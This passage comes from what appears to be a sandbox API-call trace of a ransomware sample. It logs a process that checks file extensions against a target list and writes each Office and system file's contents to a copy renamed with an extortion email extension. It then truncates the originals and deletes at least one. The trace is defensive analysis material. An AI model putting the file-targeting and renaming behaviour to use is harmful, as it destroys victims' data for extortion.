returned 66 [0169.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.957] lstrlenW (lpString=".doc") returned 4 [0169.957] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.957] lstrlenW (lpString=".docx") returned 5 [0169.957] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0169.957] lstrlenW (lpString=".pdf") returned 4 [0169.957] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.957] lstrlenW (lpString=".xls") returned 4 [0169.957] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.957] lstrlenW (lpString=".xlsx") returned 5 [0169.957] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0169.957] lstrlenW (lpString=".ppt") returned 4 [0169.957] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.957] lstrlenW (lpString=".zip") returned 4 [0169.957] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.957] lstrlenW (lpString=".rar") returned 4 [0169.957] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.957] lstrlenW (lpString=".bz2") returned 4 [0169.957] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.957] lstrlenW (lpString=".7z") returned 3 [0169.957] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.957] lstrlenW (lpString=".dbf") returned 4 [0169.957] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.957] lstrlenW (lpString=".1cd") returned 4 [0169.957] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.957] lstrlenW (lpString=".jpg") returned 4 [0169.957] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.958] lstrlenW (lpString=".doc") returned 4 [0169.958] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.958] lstrlenW (lpString=".docx") returned 5 [0169.958] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0169.958] lstrlenW (lpString=".pdf") returned 4 [0169.958] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.958] lstrlenW (lpString=".xls") returned 4 [0169.958] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.958] lstrlenW (lpString=".xlsx") returned 5 [0169.958] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0169.958] lstrlenW (lpString=".ppt") returned 4 [0169.958] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.958] lstrlenW (lpString=".zip") returned 4 [0169.958] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.958] lstrlenW (lpString=".rar") returned 4 [0169.958] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.958] lstrlenW (lpString=".bz2") returned 4 [0169.958] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.958] lstrlenW (lpString=".7z") returned 3 [0169.958] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.958] lstrlenW (lpString=".dbf") returned 4 [0169.958] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.958] lstrlenW (lpString=".1cd") returned 4 [0169.958] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0169.958] lstrlenW (lpString=".jpg") returned 4 [0169.958] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.959] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0169.959] lstrlenW (lpString="ACEES.DLL") returned 9 [0169.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.959] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1012648) returned 1 [0169.959] CloseHandle (hObject=0x1e8) returned 1 [0169.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0169.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.960] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.960] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0169.961] GetLastError () returned 0x0 [0169.961] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0xf73a8, lpOverlapped=0x0) returned 1 [0170.044] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xf73b0, lpOverlapped=0x0) returned 1 [0170.233] ReadFile (in: hFile=0x1e8, lpBuffer=0x3be0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.233] WriteFile (in: hFile=0x1f0, lpBuffer=0x3be0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3be0020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0170.233] SetEndOfFile (hFile=0x1f0) returned 1 [0170.233] CloseHandle (hObject=0x1f0) returned 1 [0170.233] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.233] SetEndOfFile (hFile=0x1e8) returned 1 [0170.244] CloseHandle (hObject=0x1e8) returned 1 [0170.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) Thread: id = 83 os_tid = 0x728 [0168.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b30678 [0168.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b40680 [0168.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de380 [0168.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5de548 [0168.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de398 [0168.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x3cf0020 [0168.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de3b0 [0168.162] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de3b0, Size=0x20) returned 0x5e3d40 [0168.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de3b0 [0168.162] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de3b0, Size=0x20) returned 0x5e3d18 [0168.163] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.163] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.163] Wow64DisableWow64FsRedirection (in: OldValue=0x32aff58 | out: OldValue=0x32aff58*=0x0) returned 1 [0168.163] lstrlenW (lpString="kernel32.dll") returned 12 [0168.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d40 | out: hHeap=0x570000) returned 1 [0168.163] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d18 | out: hHeap=0x570000) returned 1 [0168.163] Sleep (dwMilliseconds=0x64) [0168.330] Sleep (dwMilliseconds=0x64) [0168.652] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0168.652] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0168.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0168.653] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=26624) returned 1 [0168.653] CloseHandle (hObject=0x1e4) returned 1 [0168.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0168.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.654] lstrlenW (lpString=".doc") returned 4 [0168.654] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.654] lstrlenW (lpString=".docx") returned 5 [0168.654] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.654] lstrlenW (lpString=".pdf") returned 4 [0168.654] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.654] lstrlenW (lpString=".xls") returned 4 [0168.654] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.654] lstrlenW (lpString=".xlsx") returned 5 [0168.654] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.654] lstrlenW (lpString=".ppt") returned 4 [0168.654] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.654] lstrlenW (lpString=".zip") returned 4 [0168.654] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.654] lstrlenW (lpString=".rar") returned 4 [0168.655] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.655] lstrlenW (lpString=".bz2") returned 4 [0168.655] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.655] lstrlenW (lpString=".7z") returned 3 [0168.655] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.655] lstrlenW (lpString=".dbf") returned 4 [0168.655] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.655] lstrlenW (lpString=".1cd") returned 4 [0168.655] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.655] lstrlenW (lpString=".jpg") returned 4 [0168.655] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.655] lstrlenW (lpString=".doc") returned 4 [0168.655] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0168.655] lstrlenW (lpString=".docx") returned 5 [0168.655] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0168.655] lstrlenW (lpString=".pdf") returned 4 [0168.655] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0168.655] lstrlenW (lpString=".xls") returned 4 [0168.655] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0168.655] lstrlenW (lpString=".xlsx") returned 5 [0168.655] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0168.655] lstrlenW (lpString=".ppt") returned 4 [0168.656] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.656] lstrlenW (lpString=".zip") returned 4 [0168.656] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0168.656] lstrlenW (lpString=".rar") returned 4 [0168.656] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0168.656] lstrlenW (lpString=".bz2") returned 4 [0168.656] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0168.656] lstrlenW (lpString=".7z") returned 3 [0168.656] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.656] lstrlenW (lpString=".dbf") returned 4 [0168.656] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.656] lstrlenW (lpString=".1cd") returned 4 [0168.656] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0168.656] lstrlenW (lpString=".jpg") returned 4 [0168.656] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0168.656] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0168.656] lstrlenW (lpString="msinfo32.exe") returned 12 [0168.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0168.657] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=378880) returned 1 [0168.657] CloseHandle (hObject=0x1e4) returned 1 [0168.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0168.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.658] lstrlenW (lpString=".doc") returned 4 [0168.658] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0168.658] lstrlenW (lpString=".docx") returned 5 [0168.658] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0168.658] lstrlenW (lpString=".pdf") returned 4 [0168.658] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0168.658] lstrlenW (lpString=".xls") returned 4 [0168.658] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0168.658] lstrlenW (lpString=".xlsx") returned 5 [0168.658] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0168.658] lstrlenW (lpString=".ppt") returned 4 [0168.658] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0168.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.658] lstrlenW (lpString=".zip") returned 4 [0168.658] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0168.659] lstrlenW (lpString=".rar") returned 4 [0168.659] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0168.659] lstrlenW (lpString=".bz2") returned 4 [0168.659] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0168.659] lstrlenW (lpString=".7z") returned 3 [0168.659] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.659] lstrlenW (lpString=".dbf") returned 4 [0168.659] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.659] lstrlenW (lpString=".1cd") returned 4 [0168.659] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.659] lstrlenW (lpString=".jpg") returned 4 [0168.659] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.659] lstrlenW (lpString=".doc") returned 4 [0168.659] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0168.659] lstrlenW (lpString=".docx") returned 5 [0168.659] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0168.659] lstrlenW (lpString=".pdf") returned 4 [0168.659] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0168.659] lstrlenW (lpString=".xls") returned 4 [0168.659] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0168.659] lstrlenW (lpString=".xlsx") returned 5 [0168.659] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0168.660] lstrlenW (lpString=".ppt") returned 4 [0168.660] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0168.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.660] lstrlenW (lpString=".zip") returned 4 [0168.660] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0168.660] lstrlenW (lpString=".rar") returned 4 [0168.660] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0168.660] lstrlenW (lpString=".bz2") returned 4 [0168.660] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0168.660] lstrlenW (lpString=".7z") returned 3 [0168.660] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0168.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.660] lstrlenW (lpString=".dbf") returned 4 [0168.660] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0168.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.660] lstrlenW (lpString=".1cd") returned 4 [0168.660] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0168.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0168.660] lstrlenW (lpString=".jpg") returned 4 [0168.660] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0168.660] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0168.660] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0168.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0168.662] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=198056) returned 1 [0168.662] CloseHandle (hObject=0x1e4) returned 1 [0168.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0168.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0168.663] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0168.663] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0168.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0168.664] GetLastError () returned 0x0 [0168.664] ReadFile (in: hFile=0x1e4, lpBuffer=0x3cf0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesRead=0x32afed4*=0x305a8, lpOverlapped=0x0) returned 1 [0168.810] WriteFile (in: hFile=0x1e8, lpBuffer=0x3cf0020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesWritten=0x32afc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0168.814] ReadFile (in: hFile=0x1e4, lpBuffer=0x3cf0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0168.814] WriteFile (in: hFile=0x1e8, lpBuffer=0x3cf0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cf0020*, lpNumberOfBytesWritten=0x32afc9c*=0xea, lpOverlapped=0x0) returned 1 [0168.814] SetEndOfFile (hFile=0x1e8) returned 1 [0168.814] CloseHandle (hObject=0x1e8) returned 1 [0168.814] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0168.814] SetEndOfFile (hFile=0x1e4) returned 1 [0168.816] CloseHandle (hObject=0x1e4) returned 1 [0168.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0168.816] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0168.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0168.816] lstrlenW (lpString=".doc") returned 4 [0168.816] lstrcmpiW 